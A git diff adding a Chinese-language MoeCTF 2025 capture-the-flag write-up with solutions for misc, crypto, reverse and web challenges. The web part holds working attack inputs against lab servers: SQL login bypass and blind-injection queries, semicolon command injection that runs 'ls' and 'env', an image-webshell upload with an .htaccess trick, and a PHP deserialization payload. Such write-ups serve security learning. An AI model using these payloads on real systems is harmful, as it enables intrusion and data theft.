diff --git a/Vaidurya's MoeCTF2025 writeup_version1.md b/Vaidurya's MoeCTF2025 writeup_version1.md new file mode 100644 index 0000000..420bbc2 --- /dev/null +++ b/Vaidurya's MoeCTF2025 writeup_version1.md @@ -0,0 +1,547 @@ +# 2025MoeCTF题解 +## Misc +#### Misc入门指北 +下载附件,发现最后一行有空行,选中将其颜色转换为黑色即可 + +#### Rush +打开发现是gif,提交至[iLoveIMG](https://www.iloveimg.com/zh-cn)转换为JPEG,发现一张带有二维码的照片,扫码即得flag + +#### ez_LSB +题目提示一个个像素看过去,打开stegsolve,用LSB看,在Red0中发现flag,bW9开头,猜测为Base64加密,解密后即可 + +#### ez_锟斤拷???? +通过检索可知,“锟斤拷”的成因是Unicode的替换字符于UTF-8编码下的结果EF BF BD重复,在GBK编码中被解释为汉字“锟斤拷”(EF BF BD EF BF BD)。因此对题目字符串使用GBK编码,并以UTF-8解释即可,也就是逆着进行锟斤拷的操作 +之后将结果中的全角字符转换为半角字符即可得到Flag + +#### weird_photo + +题目提示注意CRC,考虑长宽被修改,使用爆破脚本得到正确的宽高 +代码如下 + + import zlib + import struct + import argparse + import itertools + + + parser = argparse.ArgumentParser() + parser.add_argument("-f", type=str, default=None, required=True, + help="输入同级目录下图片的名称") + args = parser.parse_args() + + + bin_data = open(args.f, 'rb').read() + crc32key = zlib.crc32(bin_data[12:29]) # 计算crc + original_crc32 = int(bin_data[29:33].hex(), 16) # 原始crc + + + if crc32key == original_crc32: # 计算crc对比原始crc + print('宽高没有问题!') + else: + input_ = input("宽高被改了, 是否CRC爆破宽高? (Y/n):") + if input_ not in ["Y", "y", ""]: + exit() + else: + for i, j in itertools.product(range(4095), range(4095)): # 理论上0x FF FF FF FF,但考虑到屏幕实际/cpu,0x 0F FF就差不多了,也就是4095宽度和高度 + data = bin_data[12:16] + struct.pack('>i', i) + struct.pack('>i', j) + bin_data[24:29] + crc32 = zlib.crc32(data) + if(crc32 == original_crc32): # 计算当图片大小为i:j时的CRC校验值,与图片中的CRC比较,当相同,则图片大小已经确定 + print(f"\nCRC32: {hex(original_crc32)}") + print(f"宽度: {i}, hex: {hex(i)}") + print(f"高度: {j}, hex: {hex(j)}") + exit(0) + +爆破得到正确的宽高 + + CRC32: 0xb5a7bf8c + 宽度: 900, hex: 0x384 + 高度: 600, hex: 0x258 +再使用010Editor打开文件,将高度修改为0258,保存后再打开即可得到flag + +#### SSTV +SSTV即慢速扫描电视,使用Kali,安装并打开qSSTV后导入wav即可得到flag + +#### encrypted_pdf +下载PDF后发现有密码保护,发送到[iLovePDF](https://www.ilovepdf.com/zh-cn)解除密码,打开后发现提示类似入门指北,即寻找文本,在XDC娘后面发现白色文字,转为黑色即可 + +#### 捂住一只耳 +音频播放后发现只有单声道有声音,打开频谱图后发现另一声道是点加横,推测为摩斯电码,记录后对照电码图再以moectf{}包裹提交即可 + +#### ez_png +根据提示秘密在文件的骨骼里,猜测其中隐藏了其他文件 +使用kali的binwalk打开,发现有两个zlib文件,使用foremost提取文件,在其中一个文件中获得flag + +## 从此开始 +#### 签到 +这就……略了吧 + +## Pwn +#### 0 二进制漏洞审计入门指北 +Pwn还是太难了(哭 +环境配置了整整一个礼拜 /(ㄒoㄒ)/~~ +本人用VMWare的Ubuntu虚拟机,配置了pwn环境,但是不知道是不是我系统的问题,需要搞一个python虚拟环境,将代码问号处改为IP和端口,用python运行即可获得flag + +## Crypto +#### Crypto入门指北 +提示Elgamal,并给出私钥,编写程序解密即可 +代码如下: +`from Crypto.Util.number import long_to_bytes` +`p = 11540963715962144951763578255357417528966715904849014985547597657698304891044841099894993117258279094910424033273299863589407477091830213468539451196239863` +`g = 2` +`y = 8313424783366011287014623582773521595333285291380540689467073212212931648415580065207081449784135835711205324186662482526357834042013400765421925274271853` +`c1 = ` +`6652053553055645358275362259554856525976931841318251152940464543175108560132949610916012490837970851191204144757409335011811874896056430105292534244732863` +`c2 = 2314913568081526428247981719100952331444938852399031826635475971947484663418362533363591441216570597417789120470703548843342170567039399830377459228297983` +`x = 8010957078086554284020959664124784479610913596560035011951143269559761229114027738791440961864150225798049120582540951874956255115884539333966429021004214` + +`#Decryption` +`s = pow(c1, x, p)` +`s_inv = pow(s, -1, p)` +`m = (c2 * s_inv) % p ` +`flag = long_to_bytes(m)` +`print(flag)` + +#### ez_DES +密钥的前五个字节已知,为“ezdes”,后三个字节随机,先考虑暴力破解( +并检查是否由moectf{开头 +代码如下: + + `from Crypto.Cipher import DES + import string + from itertools import product + from multiprocessing import Pool + + c = b'\xe6\x8b0\xc8m\t?\x1d\xf6\x99sA>\xce \rN\x83z\xa0\xdc{\xbc\xb8X\xb2\xe2q\xa4"\xfc\x07' + characters = string.ascii_letters + string.digits + def decrypt(ciphertext, key): + cipher = DES.new(key, DES.MODE_ECB) + padded_text = cipher.decrypt(ciphertext) + try: + text = padded_text.decode('utf-8', errors='ignore') + if 'moectf{' in text: + return text + except: + pass + return None + + def try_key(args): + c1, c2, c3 = args + key = ('ezdes' + c1 + c2 + c3).encode('latin-1') + result = decrypt(c, key) + if result: + return key, result + return None + + if __name__ == '__main__': + with Pool() as p: + for res in p.imap_unordered(try_key, product(characters, repeat=3)): + if res: + print(f"Found key: {res[0].decode()}") + print(f"Flag: {res[1]}") + p.terminate() + break +等待《一会儿》就会出结果 + +#### baby_next +flag为38字节,p为一个512位的素数,q为p之后的第114514个素数 +)出题人太喜欢114514了 +因为p,q比较接近,可以先算n的平方根,再向前搜索p并验证 + + from Crypto.Util.number import * + from gmpy2 import isqrt, next_prime + + n = 96742777571959902478849172116992100058097986518388851527052638944778038830381328778848540098201307724752598903628039482354215330671373992156290837979842156381411957754907190292238010742130674404082688791216045656050228686469536688900043735264177699512562466087275808541376525564145453954694429605944189276397 + c = 17445962474813629559693587749061112782648120738023354591681532173123918523200368390246892643206880043853188835375836941118739796280111891950421612990713883817902247767311707918305107969264361136058458670735307702064189010952773013588328843994478490621886896074511809007736368751211179727573924125553940385967 + e = 65537 + + def find_p(): + p_approx = isqrt(n) + # Since q is p + delta, and delta is positive, p is likely slightly less than p_approx + p = p_approx + while True: + if n % p == 0: + return p + p -= 1 + + p = find_p() + q = n // p + + # Verify q is the 114514th next prime after p + current = p + for _ in range(114514): + current = next_prime(current) + assert current == q + + # RSA decryption + phi = (p - 1) * (q - 1) + d = pow(e, -1, phi) + m = pow(c, d, n) + flag = long_to_bytes(m) + print(flag) +)嗯。我电脑跑了半天才跑出来 + +#### ezBSGS +嗯。对 +就是北上广深 +上网查找是大步小步算法 +借用了一点Deepsleep的神力 + + def bsgs(a, b, p): + """ + Baby-Step Giant-Step 算法求解离散对数问题 a^x ≡ b mod p + 返回最小的正整数 x,若不存在则返回 -1 + """ + a %= p + b %= p + + # 处理特殊情况 + if b == 1: + return 0 + if a == 0: + return -1 if b != 0 else 1 + + m = int(p**0.5) + 1 # 计算步长 + + # Baby-Step: 存储 {a^j mod p: j} + table = {} + aj = 1 + for j in range(m): + if aj not in table: + table[aj] = j + aj = (aj * a) % p + + # 计算 a^{-m} mod p + inv_am = pow(a, m * (p - 2), p) # 费马小定理求逆元 + + # Giant-Step: 查找 b * a^{-mi} mod p 是否在表中 + gamma = b + for i in range(m): + if gamma in table: + return i * m + table[gamma] + gamma = (gamma * inv_am) % p + + return -1 # 无解 + + # 题目参数 + p = 100000000000099 + a = 13 + b = 114514 + + # 求解 x + x = bsgs(a, b, p) + if x != -1: + print(f"最小的 x 满足 13^x ≡ 114514 mod {p} 是: {x}") + else: + print("无解") + +#### ez_square +flag长度为35字节,p,q为512位素数 + + from Crypto.Util.number import * + import math + import sys + + n = 83917281059209836833837824007690691544699901753577294450739161840987816051781770716778159151802639720854808886223999296102766845876403271538287419091422744267873129896312388567406645946985868002735024896571899580581985438021613509956651683237014111116217116870686535030557076307205101926450610365611263289149 + c = 69694813399964784535448926320621517155870332267827466101049186858004350675634768405333171732816667487889978017750378262941788713673371418944090831542155613846263236805141090585331932145339718055875857157018510852176248031272419248573911998354239587587157830782446559008393076144761176799690034691298870022190 + hint = 5491796378615699391870545352353909903258578093592392113819670099563278086635523482350754035015775218028095468852040957207028066409846581454987397954900268152836625448524886929236711403732984563866312512753483333102094024510204387673875968726154625598491190530093961973354413317757182213887911644502704780304 + e = 65537 + + def solve(): + max_k = 5 + for k in range(1, max_k + 1): + p_plus_q_squared = hint + k * n + p_plus_q = math.isqrt(p_plus_q_squared) + + if p_plus_q * p_plus_q == p_plus_q_squared: + discriminant = p_plus_q * p_plus_q - 4 * n + if discriminant < 0: + continue + + p_minus_q = math.isqrt(discriminant) + if p_minus_q * p_minus_q != discriminant: + continue + + p = (p_plus_q + p_minus_q) // 2 + q = (p_plus_q - p_minus_q) // 2 + + if p * q == n and isPrime(p) and isPrime(q): + print("Factorization successful!") + print(f"p = {p}") + print(f"q = {q}") + + phi = (p - 1) * (q - 1) + d = pow(e, -1, phi) + m = pow(c, d, n) + + flag = long_to_bytes(m) + if flag.startswith(b'moectf{') and flag.endswith(b'}'): + print("Flag found:", flag.decode()) + return + else: + print("Got message but not in flag format:", flag) + + print(f"Failed to factor n with k up to {max_k}") + + solve() + +#### ezlegendre +上网搜索有关内容,编写脚本 + + from gmpy2 import * + from Crypto.Util.number import * + + p = 258669765135238783146000574794031096183 + a = 144901483389896508632771215712413815934 + ciphertxt = […实在太长省略了] + flag = '' + + for n in ciphertxt: + if jacobi(n,p)==-1: + flag += '1' + else: + flag += '0' + flag = int(flag,2) + print(long_to_bytes(flag)) +运行即可 + +## Reverse +#### 逆向工程入门指北 +用010Editor打开attachment,用CTRL+F搜索FLAG即可 + +#### base +呃Vaidurya不确定这道题是不是又做到了非预期? +IDA打开以后一眼就瞄到了一个灰色的bW9lY3Rme1kwdV9DNG5fRzAwZF9BdF9CNDVlNjQhIX0=字符串 +也许是Vaidurya对bW开头的字符串比较敏感了帕,Base64解码一下就出来了捏~( ̄▽ ̄)~* + +#### ez3 +由于Vaidurya太菜了,不知道什么是z3,所以就使用了一下AI的神力(当然直接扔给AI是出不来的哦 +先分析一下程序,摁个F5: +用户输入一个字符串(std::cin >> v11),检查长度是否为 42 字节(if(std::string::length(v11) == 42)),否则输出 "Length error!" +检查前 7 字符是否是 "moectf{"(std::operator!=(v12, "moectf{")) +检查最后一个字符是否是 '}'(ASCII 125,*(_BYTE *)std::string::back(v11) == 125) +如果格式错误,输出 "FORMAT ERROR!" +去掉 "moectf{" 和 '}',提取中间的 34 字节(42 - 8)作为有效内容(v12) +调用 check(v12) 函数验证这部分内容是否正确 +如果 check(v12) 返回 true,输出 "OK" 和提示信息 +否则输出 "try again~" + +于是去看一眼check() +然后Vaidurya又忘记怎么做了/(ㄒoㄒ)/~~ +好久没看IDA看不懂了……想起来了一定会在GitHub补上的 +sorry<( _ _ )> + +#### ezpy +.pyc文件……确实是第一次见 +上网搜索,了解.pyc 文件是由 Python 解释器在导入或执行 Python 脚本时生成的编译字节码文件。.pyc 文件包含编译后的字节码,可以直接由解释器执行,无需每次运行脚本时重新编译源代码。 +找到了一个网站可以反编译.pyc [pyc反编译工具](https://tool.lu/pyc/) +获得了《源码》: + + def caesar_cipher_encrypt(text, shift): + result = [] + for char in text: + if char.isalpha(): + if char.islower(): + new_char = chr(((ord(char) - ord("a")) + shift) % 26 + ord("a")) + elif char.isupper(): + new_char = chr(((ord(char) - ord("A")) + shift) % 26 + ord("A")) + result.append(new_char) + continue + result.append(char) + return "".join(result) + + + user_input = input("please input your flag:") + a = 1 + if a != 1: + plaintext = user_input + shift = 114514 + encrypted_text = caesar_cipher_encrypt(plaintext, shift) + if encrypted_text == "wyomdp{I0e_Ux0G_zim}": + print("Correct!!!!") + +分析一下,发现是凯撒加密,只对大写字母和小写字母加密,移位114514位(何意味? +因为26*4404=114504,所以相当于移10位,就可以《轻松》解出flag了(你怎么知道我懒得编程序……一个个字母数出来的 + +## Web +#### 0 Web入门指北 +附件中提到控制台……? +我搜了好久才知道是抽象的JSFuck编码 +(只能说发明这个编码的人是个甜菜 +F12打开控制台,输入console.log(),将一大串符号粘贴进括号回车即可 + +#### 01 第一章 神秘的手镯 +我就只是看了一眼调试器…… +没想到在shouzhuo.js里直接看到了flag? +不愧是《恭喜你已经会阅读前端代码了!这是解题的另一条道路!》 + +#### 02 第二章 初识金曦玄轨 +嗯。这道题Vaidurya也是想了半天才想出来呢 +查看源码,看到“前往/golden_trail看看”,于是前往/golden_trail,发现路径不正,难窥天道? +难道Vaidurya就要在此跌倒了吗?看了看消息头,嗯~ o(* ̄▽ ̄*)o果然,flag在响应头里呢 + +#### 04 第四章 金曦破禁与七绝傀儡阵 +哇塞这个题目好长啊 +第一关:在URL后面加?key=xdsec即可(记得要保存碎片bW9lY3Rme0Mw啊 +第二关:使用工具发送POST请求,使用HackBar添加参数declaration=%E7%BB%87%E4%BA%91%E9%98%81%3D%E7%AC%AC%E4%B8%80即可 +记得保存碎片: bjZyNDd1MTQ3哦 +第三关:提示要从本地访问,还是用HackBar,在头里面添加X-Forwarded-For为127.0.0.1即可(获得玉简碎片: MTBuNV95MHVy +第四关:提示使用moe browser访问哦,Vaidurya就把UA改成moe browser(获得玉简碎片: X2g3N1BfbDN2 +第五关:确实是想了半天……才发现前面有提示……于是加一个cookie:user=xt就ok了(获得玉简碎片: M2xfMTVfcjM0 +第六关:提示是从http://panshi/entry 来的吗?于是添加一个Referer,获得玉简碎片: bGx5X2gxOWgh +第七关:需要传递一个PUT请求,Vaidurya使用的是Postman,在body里面写“新生!”,Headers跟浏览器里的差不多,就获得了玉简碎片: fQ== +最后……发现在/final_success里面学长早已为我们写好wp +将前几个碎片拼接,bW9lY3Rme0MwbjZyNDd1MTQ3MTBuNV95MHVyX2g3N1BfbDN2M2xfMTVfcjM0bGx5X2gxOWghfQ==,看到前面bW,大致猜到是Base64加密,解密即可 + +#### 05 第五章 打上门来! +提示有在文件目录穿梭的技法,输入../../,发现文件flag,打开即可 + +#### 06 第六章 藏经禁制?玄机初探! +登陆页面?那不是直接SQL注入? +Vaidurya直接蒙一个用户名是admin +输入admin' or 1=1 #……就……直接。嗯~ o(* ̄▽ ̄*)o + +#### 07 第七章 灵蛛探穴与阴阳双生符 +根据提示 + + 有这样一个文件,它是一个存放在网站根目录下的纯文本文件,用于告知搜索引擎爬虫哪些页面可以抓取,哪些页面不应被抓取。它是网站与搜索引擎之间的 “协议”,帮助网站管理爬虫的访问行为,保护隐私内容、节省服务器资源或引导爬虫优先抓取重要页面。 + +知道应该是robots.txt,访问后发现禁止flag.php的访问, +(于是我们就访问 +发现代码,要我们输入两个数,他们不相等但是MD5值相等? +只能百度了 +找到MD5值: +md5("s1885207154a") => 0e509367213418206700842008763514 +md5("s1836677006a") => 0e481036490867661113260034900752 +二者都是0e开头,在php中0e会被当做科学计数法,就算后面有字母,其结果也是0,所以上面的两个MD5值相等?(这么神奇 +然后用GET方法传参即可得到flag + +#### 08 第八章 天衍真言,星图显圣 +啊……怎么是你 +这道题……我的方法可能出了点问题……极为麻烦 + + admin' and exists(select password from users)# + admin' and exists(select*from users)# + admin' and exists(select*from flag)# + admin' and exists(select value from flag)# + admin' and length((select value from flag limit 0,1))=38# + admin' and ascii(substr((select value from flag limit 0,1),1,1))=109# + admin' and ascii(substr((select value from flag limit 0,1),2,1))=111# + admin' and ascii(substr((select value from flag limit 0,1),3,1))=101# + admin' and ascii(substr((select value from flag limit 0,1),4,1))=99# + admin' and ascii(substr((select value from flag limit 0,1),5,1))=116# + admin' and ascii(substr((select value from flag limit 0,1),6,1))=102# + admin' and ascii(substr((select value from flag limit 0,1),7,1))=123# + admin' and ascii(substr((select value from flag limit 0,1),8,1))=117# + admin' and ascii(substr((select value from flag limit 0,1),9,1))=110# + admin' and ascii(substr((select value from flag limit 0,1),10,1))=73# + admin' and ascii(substr((select value from flag limit 0,1),11,1))=48# + admin' and ascii(substr((select value from flag limit 0,1),12,1))=78# + admin' and ascii(substr((select value from flag limit 0,1),13,1))=95# + admin' and ascii(substr((select value from flag limit 0,1),14,1))=98# + admin' and ascii(substr((select value from flag limit 0,1),15,1))=64# + admin' and ascii(substr((select value from flag limit 0,1),16,1))=115# + admin' and ascii(substr((select value from flag limit 0,1),17,1))=101# + admin' and ascii(substr((select value from flag limit 0,1),18,1))=100# + admin' and ascii(substr((select value from flag limit 0,1),19,1))=45# + admin' and ascii(substr((select value from flag limit 0,1),20,1))=53# + admin' and ascii(substr((select value from flag limit 0,1),21,1))=81# + admin' and ascii(substr((select value from flag limit 0,1),22,1))=73# + admin' and ascii(substr((select value from flag limit 0,1),23,1))=73# + admin' and ascii(substr((select value from flag limit 0,1),24,1))=45# + admin' and ascii(substr((select value from flag limit 0,1),25,1))=70# + admin' and ascii(substr((select value from flag limit 0,1),26,1))=84# + admin' and ascii(substr((select value from flag limit 0,1),27,1))=119# + admin' and ascii(substr((select value from flag limit 0,1),28,1))=33# + admin' and ascii(substr((select value from flag limit 0,1),29,1))=33# + admin' and ascii(substr((select value from flag limit 0,1),30,1))=99# + admin' and ascii(substr((select value from flag limit 0,1),31,1))=52# + admin' and ascii(substr((select value from flag limit 0,1),32,1))=50# + admin' and ascii(substr((select value from flag limit 0,1),33,1))=101# + admin' and ascii(substr((select value from flag limit 0,1),34,1))=54# + admin' and ascii(substr((select value from flag limit 0,1),35,1))=99# + admin' and ascii(substr((select value from flag limit 0,1),36,1))=99# + admin' and ascii(substr((select value from flag limit 0,1),37,1))=48# + admin' and ascii(substr((select value from flag limit 0,1),38,1))=125# +嗯……真的是一个一个英文的ASCAII码敲的啊啊啊啊 +大家不要学我 + +#### 09 第九章 星墟禁制·天机问路 +要输入URL?这是要干嘛? +然后发现用分号可以再加东西(●'◡'●) +于是找了半天127.0.0.1;ls ../../../../../ +又没有! +不会又是环境变量吧? +127.0.0.1;env | grep -i flag +嗯。果然 + + +#### 10 第十章 天机符阵 +嗯。没错。我的做法也许就是非预期吧 +直接在URL后面加/flag.txt +嗯。好像不太讲武德~ o(* ̄▽ ̄*)o + +#### 12 第十二章 玉魄玄关·破妄 +打开看到代码 + + ` +尝试将后缀名改为.jpg上传失败,再想到图片马 +找一张小的图片,在cmd中输入命令`copy/b xxx.jpg + hack.php`合为一个(注意两个文件及cmd要在同一个文件夹下) +将xxx.jpg上传,用Burp抓包,把后缀名改为.php,再用蚁剑连接http://127.0.0.1:xxxxx/uploads/xxx.php,密码shell + +#### 14 第十四章 御神关·补天玉碑 +题目提示Apache的特殊文件,想到配置文件.htaccess,先把 +`AddType application/x-httpd-php .jpg` +写入文件.htaccess,再上传一句话木马 +`` +并将后缀名改为.jpg +用蚁剑连接,密码为shell即可在根目录里发现flag.txt +![蚁剑](image.png) + +#### 18 第十八章 万卷诡阁·功法连环 +题目看着有点像PHP反序列化? +编写脚本反序列化 + + name = "phpinfo();"; + + $personA = new PersonA(); + + $reflection = new ReflectionClass($personA); + $property = $reflection->getProperty('name'); + $property->setAccessible(true); + $property->setValue($personA, $personB); + + $payload = serialize($personA); + echo "Payload: " . $payload . "\n"; + echo "URL编码: " . urlencode($payload) . "\n"; + +运行后得到payloadURL编码后为O%3A7%3A%22PersonA%22%3A1%3A%7Bs%3A13%3A%22%00PersonA%00name%22%3BO%3A7%3A%22PersonB%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D +在URL后面加?person= +即可得到phpinfo的页面 +鄙人不才……找了半天在环境变量(怎么又是你??!!)的地方找到了flag \ No newline at end of file